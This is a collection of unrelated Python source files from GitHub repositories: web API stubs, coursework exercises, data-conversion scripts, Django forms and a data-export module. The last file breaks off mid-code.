+{"seq_id":"42137180244","text":"from contextlib import asynccontextmanager\n\nimport uvicorn\nfrom fastapi import FastAPI\n\n\n@asynccontextmanager\nasync def lifespan(app: FastAPI):\n    yield\n\n\napp = FastAPI(\n    title=\"chat\",\n    docs_url=\"/api/docs\",\n    redoc_url=\"/api/redoc\",\n    lifespan=lifespan,\n)\n\n# app.include_router(login_router)\n\n\n@app.get(\"/api/check\")\nasync def check():\n    return {\"chat_api\": \"ok\"}\n\n\n@app.get(\"/api/ask_chat/{question}\")\nasync def ask_chat(question: str):\n    return {\"chat_api\": \"ok\"}\n\n\nif __name__ == \"__main__\":\n    uvicorn.run(\n        app,\n        host=\"localhost\",\n        port=8000,\n    )\n","repo_name":"andreydmitr20/test_chat_gpt","sub_path":"back/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21533033692","text":"import numpy as np\n\n\n# Part a)\ndef find_indices(l, s):\n    if s == \"positive\":\n        return [i for i, x in enumerate(l) if x > 0]\n    elif s == \"negative\":\n        return [i for i, x in enumerate(l) if x < 0]\n    else:\n        print(\"Invalid input for string s. Please enter 'positive' or 'negative'.\")\n        return\n\n\nl = [1, -2, 3, -4, 5]\ns = \"negative\"\nv = find_indices(l, s)\nprint(v)\n# Output: [1, 3]\n\n\n# Part b)\ndef find_indices_matrix(M, s, t):\n    if s == \"bigger\":\n        return [[i, j] for i, row in enumerate(M) for j, val in enumerate(row) if val > t]\n    elif s == \"smaller\":\n        return [[i, j] for i, row in enumerate(M) for j, val in enumerate(row) if val < t]\n    else:\n        print(\"Invalid input for string s. Please enter 'bigger' or 'smaller'.\")\n        return\n\n\nM = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\ns = \"smaller\"\nt = 5\nv = find_indices_matrix(M, s, t)\nprint(v)\n# Output: [[0, 0], [0, 1], [1, 0], [2, 0], [2, 1]]\n\n# Part c)\n\n\ndef modify_3d_array(M):\n    Q = np.zeros(M.shape)\n    for i in range(M.shape[0]):\n        for j in range(M.shape[1]):\n            for k in range(M.shape[2]):\n                if M[i, j, k] > 0.5:\n                    Q[i, j, k] = np.power(M[i, j, k], 1/3)\n                elif M[i, j, k] >= -0.5 and M[i, j, k] <= 0.5:\n                    Q[i, j, k] = M[i, j, k]\n                else:\n                    Q[i, j, k] = np.power(M[i, j, k], 2)\n    return Q\n","repo_name":"Mario-bgt/MAT_101_Programming","sub_path":"mock_exam_openai/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22571766433","text":"from sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.model_selection import train_test_split\nimport numpy as np\n\nfrom models.prophet_models.prophet_linear_regression import ProphetLinearRegression\nfrom shared.utils import fetch_api_data\n\n\ndef linear_regression_prediction(company_code, period):\n    data, metadata = fetch_api_data(company_code, period)\n\n    x_train_open, x_test_open, y_train_open, y_test_open = prepare_data(data, 'open')\n    x_train_close, x_test_close, y_train_close, y_test_close = prepare_data(data, 'close')\n    x_train_high, x_test_high, y_train_high, y_test_high = prepare_data(data, 'high')\n    x_train_low, x_test_low, y_train_low, y_test_low = prepare_data(data, 'low')\n    x_train_volume, x_test_volume, y_train_volume, y_test_volume = prepare_data(data, 'volume')\n\n    y_pred_open, mse_open = predict(x_train_open, x_test_open, y_train_open, y_test_open)\n    y_pred_close, mse_close = predict(x_train_close, x_test_close, y_train_close, y_test_close)\n    y_pred_high, mse_high = predict(x_train_high, x_test_high, y_train_high, y_test_high)\n    y_pred_low, mse_low = predict(x_train_low, x_test_low, y_train_low, y_test_low)\n    y_pred_volume, mse_volume = predict(x_train_volume, x_test_volume, y_train_volume, y_test_volume)\n\n    prophet_y_pred_open, prophet_mse_open = prophet_predict(x_train_open, x_test_open, y_train_open, y_test_open)\n    prophet_y_pred_close, prophet_mse_close = prophet_predict(x_train_close, x_test_close, y_train_close, y_test_close)\n    prophet_y_pred_high, prophet_mse_high = prophet_predict(x_train_high, x_test_high, y_train_high, y_test_high)\n    prophet_y_pred_low, prophet_mse_low = prophet_predict(x_train_low, x_test_low, y_train_low, y_test_low)\n    prophet_y_pred_volume, prophet_mse_volume = prophet_predict(x_train_volume, x_test_volume, y_train_volume,\n                                                                y_test_volume)\n\n    response = {\n        \"companyCode\": company_code,\n        \"period\": period,\n        \"dates\": x_test_open.flatten().tolist(),\n        \"open\": {\n            \"predictedCustom\": prophet_y_pred_open.tolist(),\n            \"predictedLibrary\": y_pred_open.tolist(),\n            \"errorCustom\": prophet_mse_open,\n            \"errorLibrary\": mse_open,\n            \"actual\": y_test_open.tolist()\n        },\n        \"close\": {\n            \"predictedCustom\": prophet_y_pred_close.tolist(),\n            \"predictedLibrary\": y_pred_close.tolist(),\n            \"errorCustom\": prophet_mse_close,\n            \"errorLibrary\": mse_close,\n            \"actual\": y_test_close.tolist()\n        },\n        \"high\": {\n            \"predictedCustom\": prophet_y_pred_high.tolist(),\n            \"predictedLibrary\": y_pred_high.tolist(),\n            \"errorCustom\": prophet_mse_high,\n            \"errorLibrary\": mse_high,\n            \"actual\": y_test_high.tolist()\n        },\n        \"low\": {\n            \"predictedCustom\": prophet_y_pred_low.tolist(),\n            \"predictedLibrary\": y_pred_low.tolist(),\n            \"errorCustom\": prophet_mse_low,\n            \"errorLibrary\": mse_low,\n            \"actual\": y_test_low.tolist()\n        },\n        \"volume\": {\n            \"predictedCustom\": prophet_y_pred_volume.tolist(),\n            \"predictedLibrary\": y_pred_volume.tolist(),\n            \"errorCustom\": prophet_mse_volume,\n            \"errorLibrary\": mse_volume,\n            \"actual\": y_test_volume.tolist()\n        },\n    }\n\n    return response\n\n\ndef predict(x_train, x_test, y_train, y_test):\n    model = LinearRegression()\n    model.fit(x_train, y_train)\n    y_pred = model.predict(x_test)\n    mse = mean_squared_error(y_test, y_pred)\n\n    return y_pred, mse\n\n\ndef prophet_predict(x_train, x_test, y_train, y_test):\n    model = ProphetLinearRegression()\n    model.fit(x_train, y_train)\n    y_pred = model.predict(x_test)\n    mse = mean_squared_error(y_test, y_pred)\n\n    return y_pred, mse\n\n\ndef prepare_data(data, factor):\n    y = data[factor].values\n    x = data['Date'].values.reshape(-1, 1)\n\n    x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n\n    combined_train = np.concatenate((x_train, y_train.reshape(-1, 1)), axis=1)\n\n    sorted_combined_train = combined_train[combined_train[:, 0].argsort()]\n\n    x_train = sorted_combined_train[:, 0].reshape(-1, 1)\n    y_train = sorted_combined_train[:, 1]\n\n    combined_test = np.concatenate((x_test, y_test.reshape(-1, 1)), axis=1)\n\n    sorted_combined_test = combined_test[combined_test[:, 0].argsort()]\n\n    x_test = sorted_combined_test[:, 0].reshape(-1, 1)\n    y_test = sorted_combined_test[:, 1]\n\n    return x_train, x_test, y_train, y_test\n","repo_name":"ThreeAmigosCoding/StockProphet","sub_path":"models/linear_regression/linear_regression_main.py","file_name":"linear_regression_main.py","file_ext":"py","file_size_in_byte":4674,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"37994555948","text":"import struct\n\nfile = open(\"studentinfo.txt\",\"rb\")\n\n\n#print(struct.unpack(\"!1b\",file.read(1)))\n#print(file.read(9).decode()[0])\n#print(struct.unpack(\"!2b\",file.read(2)))\n#print(struct.unpack(\"!4b\",file.read(4)))\n\nnum_kim = 0\nsum_kim_age = 0\nmost_older_lee = 0\nlee=''\nnum_id ={}\n\nwhile 1:\n   student_id = file.read(1)\n   if not student_id:\n      break;\n   else:\n      decoded_student_id = struct.unpack(\"!1b\", student_id)\n\n      name = file.read(9)\n      decoded_name = name.decode()\n     # print(decoded_name[0])\n\n      grade = file.read(2)\n      decoded_grade = struct.unpack(\"!2b\", grade)\n\n      age = file.read(4)\n      decoded_age = struct.unpack(\"!4b\", age)\n\n      if decoded_name[0] == '김':\n         num_kim = num_kim + 1\n         sum_kim_age += decoded_age[3]\n      if decoded_name[0] == '이':\n         if decoded_age[3] > most_older_lee:\n            most_older_lee=decoded_age[3]  \t\n            lee = decoded_name[0]+decoded_name[1]+decoded_name[2]\n      if decoded_student_id[0] not in num_id.keys():\n         num_id[decoded_student_id[0]] = 1\n      else:\n         num_id[decoded_student_id[0]] = int(num_id.get(decoded_student_id[0])) + 1      \n          \n   \naverage_kim_age = sum_kim_age / num_kim\nprint('김씨들의 평균 나이는? ', average_kim_age)\nprint('이씨들 중 나이가 제일 많은 사람은? ', lee)\nprint('각 한번 별 인원수는? ',num_id.items())\n","repo_name":"seunghyukshin/2018DataCommunication","sub_path":"week02/hw_02.py","file_name":"hw_02.py","file_ext":"py","file_size_in_byte":1389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7681328012","text":"# -*- coding: utf-8 -*-\n\nfrom flectra import models, fields\n\n\nclass AccountGroup(models.Model):\n    _inherit = 'account.account'\n\n    x_senainfo_name = fields.Char(string='Cuenta SENAINFO', store=True)\n    x_senainfo_project_code = fields.Integer(store=True)\n    x_senainfo_institution_code = fields.Integer(store=True)\n","repo_name":"cv2310/flectra20-adra-programas","sub_path":"models/account_account_bak.py","file_name":"account_account_bak.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"26020405701","text":"from main.models import *\nimport csv\nimport datetime \n\ndef run():\n    profile = Profile.objects.first()\n\n    with open('my_cards.csv', 'r', newline='') as f:\n        reader = csv.reader(f)\n        #\"enum\",\"created_at\",\"front\",\"back\",\"type\",\"ease\",\"interval\",\"repetition\",\"unit\",\"user_id\",\"nextShown\",\"pack_id\",\"id\",\"occurrences\",\"priority\",\"startedReading\"\n        next(reader) \n        for row in reader:\n            # if row has full data\n                card = Card()\n                card.profile = profile\n                # convert created at from '2023-02-07 19:28:26.10849+00' to DateTimeField\n                created = row[1].split('+')[0]\n                card.created_at = created \n                card.front = row[2]\n                card.back = row[3]\n                card.type = row[4]\n                card.is_active = True\n                card.is_priority = row[14].lower() == 'true'\n                card.is_started = row[15].lower() == 'true'\n                # catch 'null' values\n                card.ease = row[5] if row[5] != 'null' else 1\n                card.repetitions = row[7] if row[7] != 'null' else 0\n                card.occurrences = row[13]\n                card.interval = row[6] if row[6] != 'null' else 1\n                card.interval_unit = row[8][0]\n                # convert from js  timestamp in the style of \"1695585013\" to datetime\n                card.due_at = datetime.datetime.fromtimestamp(float(row[10])/1000)\n                card.save()\n\n                tag_from_collection = row[11]\n                if tag_from_collection:\n                    # get or create tag\n                    tag, created = Tag.objects.get_or_create(name=tag_from_collection, profile=profile)\n                    card.tags.add(tag)","repo_name":"koljapluemer/new-kaado","sub_path":"scripts/my-kaado-importer.py","file_name":"my-kaado-importer.py","file_ext":"py","file_size_in_byte":1746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23578455899","text":"import requests\nimport json\n\nwith open(\"setting.json\", encoding=\"UTF-8\") as f:\n    APISETTING = json.loads(f.read())\napiUrl = APISETTING['API']['apiUrl']\nAuthorization = APISETTING['API']['Authorization']\nSesstionKeyPath = APISETTING['API']['PATH']['SesstionKey']\ndef SessionKey():\n    try:\n        path = SesstionKeyPath\n        urls = apiUrl+path\n        headers = {\n          'Authorization': Authorization\n        }\n        response = requests.request(\"GET\", urls, headers=headers, verify=False)\n        resCode = response.status_code\n        sessionKey = response.text\n        returnList = sessionKey\n\n        return returnList\n    except ConnectionError as e:\n        print(e)\n\n","repo_name":"iaidoXion/projects_220822","sub_path":"api/Call/Auth.py","file_name":"Auth.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"6400215423","text":"#1 nap, 1 part\ndef input_read(file_name):\n    with open(file_name) as file:\n        lines = file.readlines()\n        lines = [line.rstrip() for line in lines]\n        int_list = [int(i) for i in lines]\n        return int_list\n\n\ndef firts_task(int_list):\n    ans=0\n    i=1\n    while(i<len(int_list)):\n        if(int_list[i-1]<int_list[i]):\n            ans=ans+1\n\n        i=i+1\n    print(ans)\n\n#1nap, 2 part\n\ndef second_task(int_list):\n    i=0\n    list_of_sum=[]\n\n    while(i<len(int_list)-3):\n        sum=0\n        j=0\n        while(j<3):\n            sum=sum+int_list[i+j]\n            j=j+1\n        list_of_sum.append(sum)\n        i=i+1\n    firts_task(list_of_sum)\n\n\nif __name__ == '__main__':\n    input_data=input_read(\"input.txt\")\n    firts_task(input_data)\n    second_task(input_data)","repo_name":"pikk7/aoc2021","sub_path":"1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7814738397","text":"#!/usr/bin/env python\n\n\"\"\"Convert blast6out to csv with headers\n\n\"\"\"\n\nimport argparse\nimport csv\nimport sys\n\nfrom fastalite import Opener\n\nblast_headers = [\n    'query',\n    'target',\n    'pct_id',\n    'aln_len',\n    'mismatches',\n    'gap_opens',\n    'q_start',\n    'q_end',\n    't_start',\n    't_end',\n    'evalue',\n    'bitscore',\n]\n\n\ndef get_args(arguments):\n    parser = argparse.ArgumentParser()\n    parser.add_argument('blast6out', type=Opener(), help='blast output')\n    parser.add_argument('-o', '--outfile', type=argparse.FileType('w'))\n\n    return parser.parse_args(arguments)\n\n\ndef main(arguments):\n    args = get_args(arguments)\n    reader = csv.DictReader(args.blast6out, fieldnames=blast_headers, delimiter='\\t')\n    writer = csv.DictWriter(args.outfile, fieldnames=blast_headers)\n    writer.writeheader()\n    writer.writerows(reader)\n\n\nif __name__ == '__main__':\n    sys.exit(main(sys.argv[1:]))\n","repo_name":"fhcrc/yapp","sub_path":"bin/blast2csv.py","file_name":"blast2csv.py","file_ext":"py","file_size_in_byte":912,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"34138610502","text":"import pandas as pd\nimport os\nimport logging\n\"\"\"This is a function file Author: Haitong Wang (Tina)\"\"\"\n\"\"\" if the test data is not save in the source path, you\nneed to update it in the following code \"\"\"\n\ncwd = os.getcwd()\nfolderPath = \"test_data\"\n\n\ndef importdata(file_name):\n    \"\"\"\n    this function import data into a dataframe with time and\n    voltage\n    :param file_name: test data name\n    :return: dataframe\n    \"\"\"\n    # add exception error\n    fullpath = os.path.join(cwd, folderPath, file_name)\n    # print(fullpath)\n    headers = ['time', 'voltage']\n    data = []\n    try:\n        data = pd.read_csv(fullpath, names=headers)\n    except FileNotFoundError:\n        logging.error(\"The file does not exist, please check the path\")\n    except PermissionError:\n        logging.warning(\"You don't have the permission to open the file\")\n\n    # print(data)\n    # data.plot()\n    # plt.show()\n    return data\n","repo_name":"TinaHaitongWang/bme590hrm","sub_path":"function_files/readCSV.py","file_name":"readCSV.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"40203126568","text":"from django.core.management.base import BaseCommand\n\nfrom students.models import Student\n\n\nclass Command(BaseCommand):\n    help = 'Команда для генерация студентов'  # noqa\n\n    def add_arguments(self, parser):\n        parser.add_argument(\n            'count',\n            type=int,\n            nargs='?',\n            default=10,\n            help=u'Количество создаваемых студентов')\n\n    def handle(self, *args, **options):\n        count = options['count']\n        out_str = f'Сгенерировано {count} студентов:\\n'\n        # for num, student in enumerate(Student.generate_students(count), 1):\n        for num, student in enumerate(Student.generate(count), 1):\n            out_str += f'{num}. {student}\\n'\n\n        self.stdout.write(self.style.SUCCESS(out_str))\n","repo_name":"RenKus96/test_django","sub_path":"students/management/commands/generate_students.py","file_name":"generate_students.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"19790091158","text":"from django import forms\nfrom django.forms import ModelForm\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth import views as auth_views\nfrom django.contrib.messages.views import SuccessMessageMixin\nfrom .models import Student, Supervisor, Job, TimeSheetEntry\n\n\ndef custom_validity(field_name):\n    return {\n            'oninvalid': f'this.setCustomValidity(\"{field_name} is required.\")',\n            'oninput': 'this.setCustomValidity(\"\")'\n    }\n\nclass RegisterForm(UserCreationForm):\n\n    def __init__(self, *args, **kwargs):\n        super(RegisterForm, self).__init__(*args, **kwargs)\n        self.fields['password1'].widget = forms.PasswordInput(attrs={\n            'oninvalid': 'this.setCustomValidity(\"Please enter a password.\")',\n            'oninput': 'this.setCustomValidity(\"\")'\n        })\n        self.fields['password2'].widget = forms.PasswordInput(attrs={\n            'oninvalid': 'this.setCustomValidity(\"Please confirm password.\")',\n            'oninput': 'this.setCustomValidity(\"\")'\n        })\n\n    class Meta:\n        model = User\n        fields = ['password1', 'password2']\n\n\nclass LoginFormView(SuccessMessageMixin, auth_views.LoginView):\n    success_message = \"Login Successful\"\n\n\nclass RegisterFormStudent(ModelForm):\n    class Meta:\n        model = Student\n        fields = '__all__'\n        exclude = ['user', 'profile_pic']\n        labels = {\n            'id_student': 'Student ID',\n            'dob': 'Date of birth',\n            'phone': 'Phone number'\n        }\n        widgets = {\n            'id_student': forms.NumberInput(attrs=custom_validity('Student ID')),\n            'first_name': forms.TextInput(attrs=custom_validity('First name')),\n            'last_name': forms.TextInput(attrs=custom_validity('Last name')),\n            'dob': forms.DateInput(attrs={**custom_validity('Date of birth'), **{'type': 'date'}}),\n            'school_year': forms.Select(attrs=custom_validity('School year')),\n            'phone': forms.TextInput(attrs={'placeholder': 'e.g. 123-456-7890'}),\n            'email': forms.TextInput(attrs=custom_validity('Email'))\n        }\n\n\nclass RegisterFormSupervisor(ModelForm):\n    class Meta:\n        model = Supervisor\n        fields = '__all__'\n        exclude = ['user', 'profile_pic']\n        labels = {\n            'id_supervisor': 'ID',\n            'phone': 'Phone number'\n        }\n        widgets = {\n            'phone': forms.TextInput(attrs={'placeholder': 'e.g. 123-456-7890'}),\n            'id_supervisor': forms.NumberInput(attrs=custom_validity('Supervisor ID')),\n            'first_name': forms.TextInput(attrs=custom_validity('First name')),\n            'last_name': forms.TextInput(attrs=custom_validity('Last name')),\n            'department': forms.Select(attrs=custom_validity('Department name')),\n            'email': forms.TextInput(attrs=custom_validity('Email'))\n        }\n\n\nYEAR = [\n    ('one', 'one'),\n    ('two', 'two'),\n]\n\n\nclass YEAR_CHOICES(forms.Form):\n    YEAR = forms.CharField(widget=forms.RadioSelect(choices=YEAR))\n\n\nclass TimeSheetEntryForm(ModelForm):\n\n    def __init__(self, *args, **kwargs):\n        user = kwargs.pop('user', None)\n        super(TimeSheetEntryForm, self).__init__(*args, **kwargs)\n        if user is not None:\n            self.fields['job'].queryset = Job.objects.filter(student=user.student)\n\n    class Meta:\n        model = TimeSheetEntry\n        fields = '__all__'\n        exclude = ['approved', 'rejected']\n        widgets = {\n            'date': forms.DateInput(attrs={'type': 'date'}),\n            'start_time': forms.TimeInput(attrs={'type': 'time'}),\n            'end_time': forms.TimeInput(attrs={'type': 'time'})\n        }\n        labels = {\n            'job': 'Job ID',\n            'date': 'Date',\n            'start_time': 'Time In',\n            'end_time': 'Time Out'\n        }\n\n\nclass UpdatePositionForm(ModelForm):\n\n    def __init__(self, *args, **kwargs):\n        user = kwargs.pop('user', None)\n        super(UpdatePositionForm, self).__init__(*args, **kwargs)\n        if user:\n            self.fields['supervisor'].queryset = Supervisor.objects.filter(user=user)\n\n    class Meta:\n        model = Job\n        fields = '__all__'\n\n\nclass UpdateStudentForm(ModelForm):\n    class Meta:\n        model = Student\n        fields = '__all__'\n        exclude = ['user', 'id_student']\n        labels = {\n            'dob': 'Date of birth',\n            'phone': 'Phone number',\n            'profile_pic': 'Profile picture'\n        }\n        widgets = {\n            'first_name': forms.TextInput(attrs=custom_validity('First name')),\n            'last_name': forms.TextInput(attrs=custom_validity('Last name')),\n            'dob': forms.DateInput(attrs={**custom_validity('Date of birth'), **{'type': 'date'}}),\n            'school_year': forms.Select(attrs=custom_validity('School year')),\n            'phone': forms.TextInput(attrs={'placeholder': 'e.g. 123-456-7890'}),\n            'email': forms.TextInput(attrs=custom_validity('Email')),\n            'profile_pic': forms.FileInput\n        }\n\n\nclass UpdateSupervisorForm(ModelForm):\n    class Meta:\n        model = Supervisor\n        fields = '__all__'\n        exclude = ['user', 'id_supervisor']\n        labels = {\n            'phone': 'Phone number',\n            'profile_pic': 'Profile picture'\n        }\n        widgets = {\n            'first_name': forms.TextInput(attrs=custom_validity('First name')),\n            'last_name': forms.TextInput(attrs=custom_validity('Last name')),\n            'phone': forms.TextInput(attrs={'placeholder': 'e.g. 123-456-7890'}),\n            'email': forms.TextInput(attrs=custom_validity('Email')),\n            'profile_pic': forms.FileInput\n        }","repo_name":"saniazi/CP465_Project_SETT","sub_path":"sett/main_app/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5737,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72067197522","text":"import csv\nimport io\nimport os\nimport tempfile\nfrom zipfile import ZipFile\n\nimport jsonpointer\nimport spreadsheetforms.api\nfrom django.conf import settings\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import default_storage\n\nfrom indigo.dataqualityreport import DataQualityReportForAllProjects\nfrom indigo.models import Fund, Organisation, Pipeline, Project\n\nfrom .spreadsheetforms import (\n    convert_fund_data_to_spreadsheetforms_data,\n    convert_organisation_data_to_spreadsheetforms_data,\n    convert_pipeline_data_to_spreadsheetforms_data,\n    convert_project_data_to_spreadsheetforms_data,\n)\n\n\ndef _remove_public_files_for_model(model, directory_name):\n    default_storage_name_xlsx = \"public/{}/{}.xlsx\".format(\n        directory_name, model.public_id\n    )\n    if default_storage.exists(default_storage_name_xlsx):\n        default_storage.delete(default_storage_name_xlsx)\n\n\ndef _write_public_files_for_model(\n    model, directory_name, spreadsheetforms_data, guide_file\n):\n    default_storage_name_xlsx = \"public/{}/{}.xlsx\".format(\n        directory_name, model.public_id\n    )\n\n    # Create in Temp\n    file = tempfile.NamedTemporaryFile(delete=False, suffix=\".xlsx\")\n    out_file = file.name\n    file.close()\n    spreadsheetforms.api.put_data_in_form(guide_file, spreadsheetforms_data, out_file)\n\n    # Move to Django Storage\n    default_storage.delete(default_storage_name_xlsx)\n    with open(out_file, \"rb\") as fp:\n        default_storage.save(default_storage_name_xlsx, ContentFile(fp.read()))\n\n    # Delete Temp file\n    os.remove(out_file)\n\n\ndef update_public_files_for_project(project):\n    if project.exists and project.status_public:\n        _write_public_files_for_model(\n            project,\n            \"project\",\n            convert_project_data_to_spreadsheetforms_data(project, public_only=True),\n            settings.JSONDATAFERRET_TYPE_INFORMATION[\"project\"][\n                \"spreadsheet_public_form_guide\"\n            ],\n        )\n    else:\n        _remove_public_files_for_model(project, \"project\")\n\n\ndef update_public_files_for_organisation(organisation):\n    if organisation.exists and organisation.status_public:\n        _write_public_files_for_model(\n            organisation,\n            \"organisation\",\n            convert_organisation_data_to_spreadsheetforms_data(\n                organisation, public_only=True\n            ),\n            settings.JSONDATAFERRET_TYPE_INFORMATION[\"organisation\"][\n                \"spreadsheet_public_form_guide\"\n            ],\n        )\n    else:\n        _remove_public_files_for_model(organisation, \"organisation\")\n\n\ndef update_public_files_for_fund(fund):\n    if fund.exists and fund.status_public:\n\n        _write_public_files_for_model(\n            fund,\n            \"fund\",\n            convert_fund_data_to_spreadsheetforms_data(fund, public_only=True),\n            os.path.join(\n                settings.BASE_DIR,\n                \"indigo\",\n                \"spreadsheetform_guides\",\n                \"fund_public_v001.xlsx\",\n            ),\n        )\n    else:\n\n        _remove_public_files_for_model(fund, \"fund\")\n\n\ndef update_public_files_for_pipeline(pipeline):\n    if pipeline.exists and pipeline.status_public:\n\n        _write_public_files_for_model(\n            pipeline,\n            \"pipeline\",\n            convert_pipeline_data_to_spreadsheetforms_data(pipeline, public_only=True),\n            os.path.join(\n                settings.BASE_DIR,\n                \"indigo\",\n                \"spreadsheetform_guides\",\n                \"pipeline_public_v001.xlsx\",\n            ),\n        )\n    else:\n\n        _remove_public_files_for_model(pipeline, \"pipeline\")\n\n\ndef update_public_archive_files():\n\n    _update_public_archive_files_file_per_record_in_zip()\n    _update_public_archive_files_file_per_data_type_csv_in_zip()\n\n\ndef _update_public_archive_files_file_per_data_type_csv_in_zip():\n\n    # ---------------------------------------- All data (which actually excludes pipeline)\n    # Create Zip File\n    file = tempfile.NamedTemporaryFile(delete=False, suffix=\".zip\")\n    out_file_zip = file.name\n    file.close()\n    with ZipFile(out_file_zip, \"w\") as zipfile:\n\n        # Projects\n        _update_public_archive_files_file_per_data_type_csv_in_zip_for_records(\n            \"projects\",\n            \"Project\",\n            settings.JSONDATAFERRET_TYPE_INFORMATION[\"project\"][\"fields\"],\n            Project.objects.filter(exists=True, status_public=True).order_by(\n                \"public_id\"\n            ),\n            zipfile,\n        )\n\n        # Organisations\n        _update_public_archive_files_file_per_data_type_csv_in_zip_for_records(\n            \"organisations\",\n            \"Organisation\",\n            settings.JSONDATAFERRET_TYPE_INFORMATION[\"organisation\"][\"fields\"],\n            Organisation.objects.filter(exists=True, status_public=True).order_by(\n                \"public_id\"\n            ),\n            zipfile,\n        )\n\n        # Funds\n        _update_public_archive_files_file_per_data_type_csv_in_zip_for_records(\n            \"funds\",\n            \"Fund\",\n            settings.JSONDATAFERRET_TYPE_INFORMATION[\"fund\"][\"fields\"],\n            Fund.objects.filter(exists=True, status_public=True).order_by(\"public_id\"),\n            zipfile,\n        )\n\n    # Move to Django Storage\n    default_storage_name = \"public/all_data_per_data_type_csv.zip\"\n    default_storage.delete(default_storage_name)\n    with open(out_file_zip, \"rb\") as fp:\n        default_storage.save(default_storage_name, ContentFile(fp.read()))\n\n    # Delete Temp file\n    os.remove(out_file_zip)\n\n    # ---------------------------------------- Pipeline data\n\n    file = tempfile.NamedTemporaryFile(delete=False, suffix=\".zip\")\n    out_file_zip = file.name\n    file.close()\n    with ZipFile(out_file_zip, \"w\") as zipfile:\n\n        # Pipeline\n        _update_public_archive_files_file_per_data_type_csv_in_zip_for_records(\n            \"pipelines\",\n            \"Pipeline\",\n            settings.JSONDATAFERRET_TYPE_INFORMATION[\"pipeline\"][\"fields\"],\n            Pipeline.objects.filter(exists=True, status_public=True).order_by(\n                \"public_id\"\n            ),\n            zipfile,\n        )\n\n    # Move to Django Storage\n    default_storage_name = \"public/pipeline_data_per_data_type_csv.zip\"\n    default_storage.delete(default_storage_name)\n    with open(out_file_zip, \"rb\") as fp:\n        default_storage.save(default_storage_name, ContentFile(fp.read()))\n\n    # Delete Temp file\n    os.remove(out_file_zip)\n\n\ndef _update_public_archive_files_file_per_data_type_csv_in_zip_for_records(\n    output_file_prepend, type_name, type_information_fields, records, zipfile\n):\n\n    # Make list of files to make, and the labels and keys that will be used for each one\n    main_file_labels = [\"ID\"]\n    main_file_keys = []\n    files_to_make = {}\n\n    for config in type_information_fields:\n        if config.get(\"type\", \"\") != \"list\" and config.get(\"key\").find(\"/status\") == -1:\n            main_file_labels.append(config.get(\"title\"))\n            main_file_keys.append(config.get(\"key\"))\n        elif config.get(\"type\", \"\") == \"list\":\n            file_to_make = {\n                \"list_key\": config[\"key\"],\n                \"labels\": [type_name + \" ID\"],\n                \"keys\": [],\n            }\n            for field in config[\"fields\"]:\n                if field[\"key\"].find(\"/status\") == -1:\n                    file_to_make[\"labels\"].append(field[\"title\"])\n                    file_to_make[\"keys\"].append(field[\"key\"])\n            files_to_make[config[\"key\"].replace(\"/\", \"\")] = file_to_make\n\n    # Create main file and add to ZIP\n    with io.StringIO() as csv_output:\n        writer = csv.writer(csv_output)\n        writer.writerow(main_file_labels)\n        for record in records:\n            # id\n            row = [record.public_id]\n            # fields\n            for key in main_file_keys:\n                row.append(jsonpointer.resolve_pointer(record.data_public, key, \"\"))\n            # record done\n            writer.writerow(row)\n        zipfile.writestr(output_file_prepend + \".csv\", csv_output.getvalue())\n\n    # Create each sub file and add to ZIP\n    for file_to_make_id, file_to_make_config in files_to_make.items():\n        with io.StringIO() as csv_output:\n            writer = csv.writer(csv_output)\n            writer.writerow(file_to_make_config[\"labels\"])\n            for record in records:\n                row_datas = jsonpointer.resolve_pointer(\n                    record.data_public, file_to_make_config[\"list_key\"], []\n                )\n                if row_datas and isinstance(row_datas, list):\n                    for row_data in row_datas:\n                        # id\n                        row = [record.public_id]\n                        # fields\n                        for key in file_to_make_config[\"keys\"]:\n                            row.append(jsonpointer.resolve_pointer(row_data, key, \"\"))\n                        # record done\n                        writer.writerow(row)\n            zipfile.writestr(\n                output_file_prepend + \"_\" + file_to_make_id + \".csv\",\n                csv_output.getvalue(),\n            )\n\n\ndef _update_public_archive_files_file_per_record_in_zip():\n\n    # ---------------------------------------- All data (which actually excludes pipeline)\n    # Create Temp Files\n    file = tempfile.NamedTemporaryFile(delete=False, suffix=\".zip\")\n    filename = file.name\n    file.close()\n\n    # Contents\n    with ZipFile(filename, \"w\") as zipfile_all:\n\n        for organisation in Organisation.objects.filter(\n            exists=True, status_public=True\n        ):\n            _put_file_in_zip_file(\n                [zipfile_all],\n                \"public/organisation/\" + organisation.public_id + \".xlsx\",\n                \"organisation/\" + organisation.public_id + \".xlsx\",\n            )\n\n        for fund in Fund.objects.filter(exists=True, status_public=True):\n            _put_file_in_zip_file(\n                [zipfile_all],\n                